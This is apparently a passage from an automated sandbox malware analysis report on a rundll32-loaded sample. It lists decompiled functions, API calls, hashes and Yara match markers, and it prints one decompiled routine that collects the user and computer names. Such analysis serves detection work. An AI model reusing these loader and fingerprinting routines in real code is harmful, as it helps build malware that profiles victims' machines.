                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSectionTime$AllocateEnterFileHeapIncrementInterlockedLeaveSystemlstrlen
                          • String ID:
                          • API String ID: 3915436794-0
                          • Opcode ID: 7171556241e6fa0cf39162119bf6b1337b5b552d298043c3ac7be7dcf35d7a52
                          • Instruction ID: 05fb24a5d8a10bfea8e278eb2e83ddbd8733b9833cad346c8423da856e52ddad
                          • Opcode Fuzzy Hash: 7171556241e6fa0cf39162119bf6b1337b5b552d298043c3ac7be7dcf35d7a52
                          • Instruction Fuzzy Hash: 9031CE75601201AFD721CF28D848A6BB7EAFB84325F00895DF99583600D735FD15CBD1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB86AD Relevance: 7.6, APIs: 5, Instructions: 83libraryloaderCOMMON
                          Download Yara Rule
                          APIs
                          • LoadLibraryA.KERNEL32(?,?,00000000,00000000,04CBE23D,00000000,7620F5B0,04CC0348,?,00000001), ref: 04CB86CD
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CB86E2
                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CB86FE
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CB8713
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CB8727
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: LibraryLoad$AddressProc
                          • String ID:
                          • API String ID: 1469910268-0
                          • Opcode ID: 9d5bd22b76262e5350013baaa7be2e7ffd453e6bbd49b9118ebbeefce1100516
                          • Instruction ID: a6bab391627506da63ac2670559f939adc3ea73666c0863b8ef7c56d9163bbb2
                          • Opcode Fuzzy Hash: 9d5bd22b76262e5350013baaa7be2e7ffd453e6bbd49b9118ebbeefce1100516
                          • Instruction Fuzzy Hash: CE314ABE602211EFCB05DF69E881B95B3EAFB4D714B01812AEA45D7350D779EC018F94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC8327 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                          Download Yara Rule
                          APIs
                          • GetUserNameW.ADVAPI32(00000000,?), ref: 04CC833B
                          • GetComputerNameW.KERNEL32(00000000,?), ref: 04CC8357
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • GetUserNameW.ADVAPI32(761F81D0,761B5520), ref: 04CC8391
                          • GetComputerNameW.KERNEL32(?,?), ref: 04CC83B4
                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,761F81D0,?,00000000,?,00000000,00000000), ref: 04CC83D7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                          • String ID:
                          • API String ID: 3850880919-0
                          • Opcode ID: 160735fa93d3d2c7b1b34385ae913f112d4e94fa1595a84c25dac4e8cd6226d9
                          • Instruction ID: 899612804ec20cfbcf280ae444da79f6c111e47abef1ea3d69d5e0f2ffa52de2
                          • Opcode Fuzzy Hash: 160735fa93d3d2c7b1b34385ae913f112d4e94fa1595a84c25dac4e8cd6226d9
                          • Instruction Fuzzy Hash: F121F9B6901208FFDB11DFE8C9849EFBBBDEF44300B5454AAE601E7240D634AB05DBA4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C72A11 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C72A11() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x746bc742
						_v12 = _v12 + _t11;
						_t64 = E04C76D63(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E04C76C2C(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4c757e9
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                          0x04c72a1f
                          0x04c72a22
                          0x04c72a25
                          0x04c72a2b
                          0x04c72a30
                          0x04c72a36
                          0x04c72a3e
                          0x04c72a41
                          0x04c72a47
                          0x04c72a4c
                          0x04c72a55
                          0x04c72a59
                          0x04c72a66
                          0x04c72a6a
                          0x04c72a6c
                          0x04c72a70
                          0x04c72a73
                          0x04c72a83
                          0x04c72ad6
                          0x04c72ad7
                          0x04c72a85
                          0x04c72a8a
                          0x04c72a8b
                          0x04c72a90
                          0x04c72a93
                          0x04c72aa6
                          0x00000000
                          0x04c72aa8
                          0x04c72aab
                          0x04c72ab0
                          0x04c72abe
                          0x04c72ac1
                          0x04c72ac7
                          0x04c72acc
                          0x00000000
                          0x04c72ace
                          0x04c72ace
                          0x04c72ad1
                          0x04c72ad1
                          0x04c72acc
                          0x04c72aa6
                          0x04c72adc
                          0x04c72add
                          0x04c72a4c
                          0x04c72ae3

                          APIs
                          • GetUserNameW.ADVAPI32(00000000,04C757E7), ref: 04C72A25
                          • GetComputerNameW.KERNEL32(00000000,04C757E7), ref: 04C72A41
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • GetUserNameW.ADVAPI32(00000000,04C757E7), ref: 04C72A7B
                          • GetComputerNameW.KERNEL32(04C757E7,746BC740), ref: 04C72A9E
                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04C757E7,00000000,04C757E9,00000000,00000000,?,746BC740,04C757E7), ref: 04C72AC1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                          • String ID:
                          • API String ID: 3850880919-0
                          • Opcode ID: 753277a999c114382a48fad8de443e101b6e77eeee82b8d4bf5b9912a41f64c4
                          • Instruction ID: bd3a194ceb3c97f6b4d73498938ba9d5107ce36331741bf66d1f4f45f4aec3cd
                          • Opcode Fuzzy Hash: 753277a999c114382a48fad8de443e101b6e77eeee82b8d4bf5b9912a41f64c4
                          • Instruction Fuzzy Hash: 8F21EAB6900108FFDB21DFE5D9859EEBBB9FF58310B5044AAE501E7244E634AB44DB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB306D Relevance: 7.6, APIs: 5, Instructions: 81filememoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                          • DeleteFileA.KERNEL32(00000000,000004D2), ref: 04CB3090
                          • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 04CB3099
                          • GetLastError.KERNEL32 ref: 04CB30A3
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CB3162
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileTemp$PathTime$CreateCurrentDeleteDirectoryErrorFreeHeapLastNameSystemThreadlstrcpy
                          • String ID:
                          • API String ID: 3543646443-0
                          • Opcode ID: 390c29ded207d491aa40828fe5de55b1fcec99d88f6359ebc01fcd300a400165
                          • Instruction ID: 9a6f42def6fb77374b0d2664bae01acfc0f46e091a2f09dc9273b862eeb96db2
                          • Opcode Fuzzy Hash: 390c29ded207d491aa40828fe5de55b1fcec99d88f6359ebc01fcd300a400165
                          • Instruction Fuzzy Hash: E1212F7A602210FBD610ABF5EC48F867BADDF4A211F044116FB05CB251D639F904DBE8
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC2F4E Relevance: 7.6, APIs: 5, Instructions: 75fileCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC1C19: GetSystemTimeAsFileTime.KERNEL32(00000001,?,00000000,?,00000000,00000000,54C7FCBB,54C7FCBB,00000000,04CBE231,00000000,7620F5B0,04CC0348,?,00000001), ref: 04CC1C25
                            • Part of subcall function 04CC1C19: _aulldiv.NTDLL(00000192,?,54D38000,00000192), ref: 04CC1C3B
                            • Part of subcall function 04CC1C19: _snwprintf.NTDLL ref: 04CC1C60
                            • Part of subcall function 04CC1C19: CreateFileMappingW.KERNEL32(000000FF,04CDA1E8,00000004,00000000,00001000,?), ref: 04CC1C7C
                            • Part of subcall function 04CC1C19: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000192,?,54D38000), ref: 04CC1C8E
                            • Part of subcall function 04CC1C19: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000192,?), ref: 04CC1CC6
                          • UnmapViewOfFile.KERNEL32(?,00000001,?,?,00000000,00000000,54C7FCBB,54C7FCBB,00000000,04CBE231,00000000,7620F5B0,04CC0348,?,00000001), ref: 04CC2F89
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC2F92
                          • SetEvent.KERNEL32(?,00000001,?,?,00000000,00000000,54C7FCBB,54C7FCBB,00000000,04CBE231,00000000,7620F5B0,04CC0348,?,00000001), ref: 04CC2FD9
                          • GetLastError.KERNEL32(04CC3959,00000000,00000000,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC3008
                          • CloseHandle.KERNEL32(00000000,04CC3959,00000000,00000000,?,?,?,?,?,?,?,04CB9100,?), ref: 04CC3018
                            • Part of subcall function 04CBC2AA: lstrlenW.KERNEL32(00000000,00000000,00000000,00000000,?,?,04CB171E,?,?,00000000,?), ref: 04CBC2B6
                            • Part of subcall function 04CBC2AA: memcpy.NTDLL(00000000,00000000,00000000,00000002,?,?,04CB171E,?,?,00000000,?), ref: 04CBC2DE
                            • Part of subcall function 04CBC2AA: memset.NTDLL ref: 04CBC2F0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseFileHandle$ErrorLastTime$CreateEventMappingSystemUnmapView_aulldiv_snwprintflstrlenmemcpymemset
                          • String ID:
                          • API String ID: 1106445334-0
                          • Opcode ID: 965ce443659a77af68bca7882f5bc6916636c4efa6837f04e589b432cfd69d91
                          • Instruction ID: ed651c4584bade13da51b34efe6159114041aacd5f78c88a0003354ed4a2d796
                          • Opcode Fuzzy Hash: 965ce443659a77af68bca7882f5bc6916636c4efa6837f04e589b432cfd69d91
                          • Instruction Fuzzy Hash: 1221C335A01319ABEB11AFB5EC04B5A77ABEF05314B04446CE942D3160EB75FE41EFA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCA651 Relevance: 7.6, APIs: 5, Instructions: 72fileCOMMON
                          Download Yara Rule
                          APIs
                          • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,761B6920,00000000,?,?,?,04CB148A,?,?,?), ref: 04CCA66F
                          • GetFileSize.KERNEL32(00000000,00000000,?,?,04CB148A,?,?,?), ref: 04CCA67F
                          • ReadFile.KERNEL32(?,00000000,00000000,?,00000000,00000001,?,?,04CB148A,?,?,?), ref: 04CCA6AB
                          • GetLastError.KERNEL32(?,?,04CB148A,?,?,?), ref: 04CCA6D0
                          • CloseHandle.KERNEL32(000000FF,?,?,04CB148A,?,?,?), ref: 04CCA6E1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$CloseCreateErrorHandleLastReadSize
                          • String ID:
                          • API String ID: 3577853679-0
                          • Opcode ID: 33390f00e85d8ee8e1eb9b105111da7e7ee0b275fcf9f7984cc9b89d7ac08eb6
                          • Instruction ID: 36d228c57b2d07592b2d56f7bcd31ef9ff3f4c8c81350eac6e48f0bbd9950368
                          • Opcode Fuzzy Hash: 33390f00e85d8ee8e1eb9b105111da7e7ee0b275fcf9f7984cc9b89d7ac08eb6
                          • Instruction Fuzzy Hash: C3113B7250021CBFDB205F68CC8CFAE7B6EEB043A4F05456DF916A7180E672BE4097A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB75D8 Relevance: 7.6, APIs: 5, Instructions: 71memoryCOMMON
                          Download Yara Rule
                          APIs
                          • StrChrA.SHLWAPI(?,0000002C,00000000,?,00000000,6E2AA0A7,6E2AA0A7,?,04CC87C2,?,?,?,00000000,00000001,00000000,?), ref: 04CB75E9
                          • StrRChrA.SHLWAPI(?,00000000,0000002F,?,00000000,6E2AA0A7,6E2AA0A7,?,04CC87C2,?,?,?,00000000,00000001,00000000,?), ref: 04CB7602
                          • StrTrimA.SHLWAPI(?,?,?,00000000,6E2AA0A7,6E2AA0A7,?,04CC87C2,?,?,?,00000000,00000001,00000000,?,00000000), ref: 04CB762A
                          • StrTrimA.SHLWAPI(00000000,?,?,00000000,6E2AA0A7,6E2AA0A7,?,04CC87C2,?,?,?,00000000,00000001,00000000,?,00000000), ref: 04CB7639
                          • HeapFree.KERNEL32(00000000,?,?,00000000,?,00000000,00000000,?,00000000,6E2AA0A7,6E2AA0A7,?,04CC87C2,?,?,?), ref: 04CB7670
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Trim$FreeHeap
                          • String ID:
                          • API String ID: 2132463267-0
                          • Opcode ID: 7358ef8fb8e687ccb4d76a14a5e87910a2bea580c4dbc0e267596f34e18cbc9d
                          • Instruction ID: fa45b06c443778d6a2d05e8e946c1e734fc476ff5137bcb722597aedbb58650f
                          • Opcode Fuzzy Hash: 7358ef8fb8e687ccb4d76a14a5e87910a2bea580c4dbc0e267596f34e18cbc9d
                          • Instruction Fuzzy Hash: 0611C8BA201205BBD711AB6DDC88FDB7BADDB94790F004021FE4ACB240EB74ED018790
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC389D Relevance: 7.6, APIs: 5, Instructions: 68memoryCOMMON
                          Download Yara Rule
                          APIs
                          • VirtualProtect.KERNEL32(00000000,00000004,00000040,?,013FD5A8,?,?,00000000,00000000,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C), ref: 04CC38D4
                          • VirtualProtect.KERNEL32(00000000,00000004,?,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CC3904
                          • RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CC3913
                          • RtlLeaveCriticalSection.NTDLL(04CDA400), ref: 04CC3931
                          • GetLastError.KERNEL32(?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CC3941
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalProtectSectionVirtual$EnterErrorLastLeave
                          • String ID:
                          • API String ID: 653387826-0
                          • Opcode ID: ecaf61cd42c501869649172d78309928ae80ee3cb564efbef9a68d39e83ed417
                          • Instruction ID: 8a13a06c8d42361aba6ffb03ee72dec59e8b3ada26d16a386343fe5ab6b25c57
                          • Opcode Fuzzy Hash: ecaf61cd42c501869649172d78309928ae80ee3cb564efbef9a68d39e83ed417
                          • Instruction Fuzzy Hash: BD21F8B9600706EFD710CFA9D984A5AB7F9FF083147008529EA5693B10D774FA44DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC7408 Relevance: 7.6, APIs: 5, Instructions: 67memorysynchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00004000), ref: 04CC7436
                          • GetLastError.KERNEL32 ref: 04CC7459
                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 04CC746C
                          • GetLastError.KERNEL32 ref: 04CC7477
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC74BF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorHeapLast$AllocateFreeObjectSingleWait
                          • String ID:
                          • API String ID: 1671499436-0
                          • Opcode ID: dbe54e28606252981d4f91adb75de42bf10ae0c636eaf40112755f34d285c438
                          • Instruction ID: ceccfc69b51ad2ca436c2473c1c2c890cc680ffa7bbd80f1425306a64d2bae97
                          • Opcode Fuzzy Hash: dbe54e28606252981d4f91adb75de42bf10ae0c636eaf40112755f34d285c438
                          • Instruction Fuzzy Hash: B6216A74602245EBEB21CF51D988F5E7FBAEB40328F60041CE142A65A0D779BE84DF21
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC3775 Relevance: 7.6, APIs: 5, Instructions: 67memoryfileCOMMON
                          Download Yara Rule
                          APIs
                          • InterlockedIncrement.KERNEL32(04CDA06C), ref: 04CC3785
                          • HeapFree.KERNEL32(00000000,?,00000000,?,?,00000001,00000191), ref: 04CC37DC
                          • InterlockedDecrement.KERNEL32(04CDA06C), ref: 04CC37F1
                          • DeleteFileA.KERNEL32(00000000), ref: 04CC380F
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC381D
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                            • Part of subcall function 04CBA316: CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04CBA391
                            • Part of subcall function 04CBA316: SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 04CBA3BD
                            • Part of subcall function 04CBA316: _allmul.NTDLL(?,?,FFFFD8F0,000000FF), ref: 04CBA3CD
                            • Part of subcall function 04CBA316: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,FFFFD8F0,000000FF), ref: 04CBA405
                            • Part of subcall function 04CBA316: SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,FFFFD8F0,000000FF), ref: 04CBA427
                            • Part of subcall function 04CBA316: GetShellWindow.USER32 ref: 04CBA436
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileTempTimerWaitable$FreeHeapInterlockedPathTime$CreateCurrentDecrementDeleteIncrementMultipleNameObjectsShellSystemThreadWaitWindow_allmullstrcpy
                          • String ID:
                          • API String ID: 1587453479-0
                          • Opcode ID: f105f73806ee5d00b70f8c9a6da7f519748c95f1de24b2d47fafdaea27e65072
                          • Instruction ID: 0915680ea38a3244a8b7732108ffcf722d621bdb97fb9965ee49e5562d70262f
                          • Opcode Fuzzy Hash: f105f73806ee5d00b70f8c9a6da7f519748c95f1de24b2d47fafdaea27e65072
                          • Instruction Fuzzy Hash: 311193B9540208BFEB015FA0DC84EEE3E7EEB48344F108029FA059A110D779AA80AB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB26D3 Relevance: 7.6, APIs: 5, Instructions: 65registryCOMMON
                          Download Yara Rule
                          APIs
                          • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 04CB26E7
                          • memcpy.NTDLL(00000000,?,?,?), ref: 04CB2710
                          • RegSetValueExA.ADVAPI32(?,?,00000000,00000003,00000000,?), ref: 04CB2739
                          • RegSetValueExA.ADVAPI32(?,?,00000000,00000003,00000000,00000000), ref: 04CB2759
                          • RegCloseKey.ADVAPI32(?), ref: 04CB2764
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Value$AllocateCloseCreateHeapmemcpy
                          • String ID:
                          • API String ID: 2954810647-0
                          • Opcode ID: 2a0dcbe3af6cc16f767cb7903c025964d3ec5a2f441edc302c6624affcf69f4b
                          • Instruction ID: e41459ea235548a3fed58b8c7b8db3e3b601efee254c4cc09f7e89e74464bc98
                          • Opcode Fuzzy Hash: 2a0dcbe3af6cc16f767cb7903c025964d3ec5a2f441edc302c6624affcf69f4b
                          • Instruction Fuzzy Hash: 3A115E7A100109BBEF226E64EC88FEA776EEB44355F040025FE41B21A0D6719E20E7E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBE57D Relevance: 7.6, APIs: 5, Instructions: 62memorystringtimeCOMMON
                          Download Yara Rule
                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(04CB980C,?,?,?,?,00000008,04CB980C,00000000,?), ref: 04CBE59A
                          • memcpy.NTDLL(04CB980C,?,00000009,?,?,?,?,00000008,04CB980C,00000000,?), ref: 04CBE5BC
                          • RtlAllocateHeap.NTDLL(00000000,00000013), ref: 04CBE5D4
                          • lstrlenW.KERNEL32(00000000,00000001,04CB980C,?,?,?,?,?,?,?,00000008,04CB980C,00000000,?), ref: 04CBE5F4
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,00000008,04CB980C,00000000,?), ref: 04CBE619
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapTime$AllocateFileFreeSystemlstrlenmemcpy
                          • String ID:
                          • API String ID: 3065863707-0
                          • Opcode ID: e577d0a080a227dff7b1f97dac13b2f0b3ca217b40bcf4adb0a0c93e42405351
                          • Instruction ID: 0135d1d8bc89294d631938e99e3f98470bf4b3f968e630748372509b2c601862
                          • Opcode Fuzzy Hash: e577d0a080a227dff7b1f97dac13b2f0b3ca217b40bcf4adb0a0c93e42405351
                          • Instruction Fuzzy Hash: 54118979D01208BBDB119FA4D809FCE7F79EB08750F008055F949D6280D774EB48DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCFE94 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON
                          Download Yara Rule
                          APIs
                          • lstrcmpi.KERNEL32(00000000,?), ref: 04CCFEC3
                          • RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CCFED0
                          • RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CCFEE3
                          • lstrcmpi.KERNEL32(04CDA440,00000000), ref: 04CCFF03
                          • GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB404D,00000000), ref: 04CCFF17
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSectionTimelstrcmpi$EnterFileLeaveSystem
                          • String ID:
                          • API String ID: 1266740956-0
                          • Opcode ID: 11171d83d184ddfac6817b40b9d7712e716b6d6026b3ed9ec7d5f9ea307bdcbb
                          • Instruction ID: a0da28ccf3b8c288006afaa3cb931a2147f7455f532ad6bf26bde6e79bd3d8ba
                          • Opcode Fuzzy Hash: 11171d83d184ddfac6817b40b9d7712e716b6d6026b3ed9ec7d5f9ea307bdcbb
                          • Instruction Fuzzy Hash: 44117F76501205EFEB04CF58D849A9AB7EAFB49324B14415DE505D3680D779FE018BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB3263 Relevance: 7.6, APIs: 5, Instructions: 60stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,00000000,04CD3716,00000000,04CC2466,?,?,?,04CC8A07,?,?,?,00000000,00000001,00000000,?), ref: 04CB326D
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CB3291
                          • StrRChrA.SHLWAPI(?,00000000,0000002E,?,00000003,?,?,04CC8A07,?,?,?,00000000,00000001,00000000,?,00000000), ref: 04CB3298
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CB32E0
                          • lstrcat.KERNEL32(00000000,?), ref: 04CB32EF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrcpy$AllocateHeaplstrcatlstrlen
                          • String ID:
                          • API String ID: 2616531654-0
                          • Opcode ID: 540f92000c31002d5d2640cb6cac9e930b3267b024eefb1575b64c701befdab4
                          • Instruction ID: 06c380b4052ba05710203cc9d3d0faabe2c59b91da71a0a2a234a0f5631fc396
                          • Opcode Fuzzy Hash: 540f92000c31002d5d2640cb6cac9e930b3267b024eefb1575b64c701befdab4
                          • Instruction Fuzzy Hash: 0111A37A201246ABD721DA659C88FBBB7EDEB84200F054129FA45C3141EB38F90587A2
